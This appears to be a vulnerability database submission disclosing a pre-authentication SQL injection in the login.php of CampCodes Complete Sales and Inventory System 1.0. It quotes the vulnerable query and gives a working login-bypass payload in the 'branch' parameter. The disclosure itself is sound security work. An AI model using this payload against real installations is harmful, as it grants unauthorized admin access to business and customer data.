| 标题 | CampCodes Complete Sales and Inventory System with Credit Management 1.0 SQL Injection |
|---|
| 描述 | Pre-authentication SQL injection in login.php. POST parameters username and password pass through mysqli_real_escape_string(), but branch is interpolated directly: $query=mysqli_query($con,"select * from user natural join branch where username='$user' and password='$pass' and branch_id='$branch' and status='active'"). Payload username=admin&password=WRONGPASSWORD&branch=x' OR '1'='1&login=1 logs in as admin with any password (verified: session returns HTTP 200 on protected /pages/home.php).
Affected file: /ahira/login.php
Affected parameter: branch (POST)
Vulnerability class: SQL Injection (CWE-89)
CVSS 3.1: 8.6 High. Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L
Researcher: Santhosh Kumar, TraceX Labs. Contact: [email protected] |
|---|
| 来源 | ⚠️ https://tracexlabs.com/releases/campcodes-complete-sales-and-inventory-system-login-sqli.html |
|---|
| 用户 | SanthoshKumar (UID 101638) |
|---|
| 提交 | 2026-10-12 07時49分 (25 日前) |
|---|
| 管理 | 2026-11-04 16時59分 (23 days later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 431128 [Campcodes Complete Sales and Inventory System with Credit Management /ahira/login.php SQL注入] |
|---|
| 积分 | 20 |
|---|